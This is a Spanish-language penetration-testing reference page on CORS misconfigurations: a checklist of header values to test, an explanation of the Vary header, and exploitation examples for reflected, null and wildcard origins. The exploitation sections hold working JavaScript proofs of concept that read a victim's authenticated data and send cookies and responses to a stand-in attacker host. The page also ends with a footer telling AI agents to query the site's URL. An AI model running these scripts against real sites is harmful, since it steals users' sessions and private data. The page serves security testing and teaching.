# Cross-origin resource sharing (CORS)

## General

1\) Revisar si se encuentra habilitado (`true`) el encabezado HTTP `Access-Control-Allow-Credentials`.

```http
Access-Control-Allow-Credentials: true
```

2\) Revisar los valores del encabezado HTTP `Access-Control-Allow-Origin`.

* Valor comodín (`*`).
* Valor nulo (`null`).
* `Origin` reflejado.
* Lista blanca de orígenes (`Origin`) permitidos con protocolo inseguro (HTTP).
* Cambiar el valor del encabezado `Origin` a uno que comience y a uno que termine con un `Origin` permitido (lista blanca).

```sh
# Origin permitido
https://example.com

# Modificación de Origin a uno que comienza con un Origin permitido
https://example.com.test.com

# Modificación de Origin a uno que termina con un Origin permitido
https://testexample.com
```

* Valores no admitidos por los navegadores web.
  * Múltiples dominios separados mediante espacios o comas.
  * Utilización de comodín (`*`) para especificar subdominios.
  * Dominio sin protocolo.

```http
# Múltiples dominios separados mediante espacios o comas
Access-Control-Allow-Origin: https://example.com https://example2.com https://example3.com
Access-Control-Allow-Origin: https://example.com, https://www.example.com, https://api.example.com

# Utilización de comodín (*) para especificar subdominios
Access-Control-Allow-Origin: https://*.example.com

# Dominio sin protocolo
Access-Control-Allow-Origin: example.com
```

3\) Si el valor del encabezado `Access-Control-Allow-Origin` se genera dinámicamente verificar que se especifique `Origin` en el valor del encabezado HTTP `Vary`.

```http
Vary: Origin
```

## Access-Control-Allow-Origin (ACAO)

El encabezado HTTP `Access-Control-Allow-Origin` puede tener varios valores. Estos son el valor comodín (`*`), el valor nulo (`null`) y el valor de origen específico que desea permitir.

```http
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: null
Access-Control-Allow-Origin: <origin>
```

El encabezado `Access-Control-Allow-Origin` no puede contener múltiples orígenes, como separar diferentes dominios mediante espacios o comas. Además, el uso de comodines no se puede utilizar dentro de ningún otro valor.

Algunos ejemplos no válidos de `Access-Control-Allow-Origin` son:

```http
Access-Control-Allow-Origin: https://example.com https://example2.com https://example3.com
Access-Control-Allow-Origin: https://example.com, https://www.example.com, https://api.example.com
Access-Control-Allow-Origin: https://*.example.com
Access-Control-Allow-Origin: example.com
```

{% hint style="info" %}
La especificación de `Access-Control-Allow-Origin` permite múltiples orígenes, sin embargo, los navegadores web no lo admiten.
{% endhint %}

Por lo tanto, se debe verificar el origen de la solicitud y ajustar el campo del encabezado en consecuencia. Por ejemplo, puede usar el encabezado `Origen` de la solicitud para verificar quién está accediendo al recurso. Si es uno de los dominios permitidos, se establece `Access-Control-Allow-Origin` en consecuencia.&#x20;

El navegador web compara `Access-Control-Allow-Origin` con el origen del sitio web solicitante (`Origin`) y permite el acceso a la respuesta si coinciden. Es decir, el navegador web no compartirá la respuesta del servidor si el origen no está incluido en el encabezado `Access-Control-Allow-Origin`.

Afortunadamente, desde una perspectiva de seguridad, el uso del comodín está restringido en la especificación, ya que no se puede combinar el comodín (`*`) con `Access-Control-Allow-Credentials`. En consecuencia, una respuesta de la siguiente forma no está permitida:

```http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

## Vary

El encabezado `Vary` está configurado para que el navegador sepa que la respuesta puede variar según el origen. Por lo tanto, no utilizará ninguna respuesta almacenada en caché cuando se llame desde un sitio diferente en el mismo navegador web, previniendo así ataques de envenenamiento de caché del lado de cliente.&#x20;

Por lo cual, si el valor del encabezado HTTP `Access-Control-Allow-Origin` se genera dinámicamente se debe siempre especificar `Origin` en el valor del encabezado HTTP `Vary`.

```http
Vary: Origin
```

## Explotación con credenciales (ACAC)

```http
Access-Control-Allow-Credentials: true
```

### Origin reflejado en Access-Control-Allow-Origin <a href="#origin-reflejado-en-access-control-allow-origin" id="origin-reflejado-en-access-control-allow-origin"></a>

El valor del encabezado `Access-Control-Allow-Origin` es generado por el servidor a partir del encabezado `Origin` especificado por el cliente.

{% tabs %}
{% tab title="Request" %}

```http
GET /datos-sensibles HTTP/1.1
Host: web-vulnerable.com
Origin: https://web-maliciosa-atacante.com
Cookie: sessionid=...
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Response" %}

```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://web-maliciosa-atacante.com
Access-Control-Allow-Credentials: true
```

{% endtab %}
{% endtabs %}

Obtención de información desde recurso vulnerable y reenvió de información a web del atacante.

```javascript
<script> 
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('GET', 'http://web-vulnerable.com/datos-sensibles', true);
    req.withCredentials = true;
    req.send();
    
    function reqListener() {
        fetch('http://web-atacante.com', {method: 'POST', body:document.cookie});
        fetch('http://web-atacante.com', {method: 'POST', body:this.responseText});
    }
</script>
```

### Access-Control-Allow-Origin con valor null <a href="#access-control-allow-origin-con-valor-null" id="access-control-allow-origin-con-valor-null"></a>

La especificación del encabezado `Origen` permite el valor nulo (`null`). Algunas aplicaciones pueden incluir en su lista blanca el valor nulo (`null`) para admitir el desarrollo local de su aplicación. En esta situación, un atacante puede generar una solicitud que contenga el valor nulo (`null`) en el encabezado `Origin` y esto satisfará la lista blanca de `Access-Control-Allow-Origin` permitiendo tener acceso a las respuestas.

{% tabs %}
{% tab title="Request" %}

```http
GET /datos-sensibles HTTP/1.1
Host: web-vulnerable.com
Origin: null
Cookie: sessionid=...
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Response" %}

```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

{% endtab %}
{% endtabs %}

Obtención de información desde recurso vulnerable y reenvió de información a web del atacante.

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('GET','http://web-vulnerable.com/datos-sensibles',true);
	req.withCredentials = true;
	req.send();

	function reqListener() {
		fetch('http://web-atacante.com/?log='+btoa(this.responseText), {method: 'GET'});
	};
</script>"></iframe>
```

## Explotación sin credenciales (ACAC)

Sin el encabezado `Access-Control-Allow-Credentials` con valor `true`, el navegador web del usuario víctima no enviará sus cookies u otras credenciales, lo que significa que el atacante solo obtendrá acceso a contenido no autenticado, al que se podría acceder fácilmente navegando directamente al recurso de destino.&#x20;

Sin embargo, hay una situación común en la que un atacante no puede acceder a un recurso directamente, por ejemplo cuando es parte de una intranet y se encuentra dentro de un segmento de red interno.

### Access-Control-Allow-Origin con valor \* <a href="#access-control-allow-origin-con-valor-asterisco" id="access-control-allow-origin-con-valor-asterisco"></a>

El encabezado `Access-Control-Allow-Origin` establecido en valor comodín (`*`) hace que los navegadores web permitan el acceso a las respuestas solicitadas desde cualquier origen (`Origin`).

{% tabs %}
{% tab title="Request" %}

```http
GET /datos-sensibles HTTP/1.1
Host: intranet.web-vulnerable.com
Origin: https://web-vulnerable.com
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Response" %}

```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
```

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/same-origin-policy-sop/cross-origin-resource-sharing-cors.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
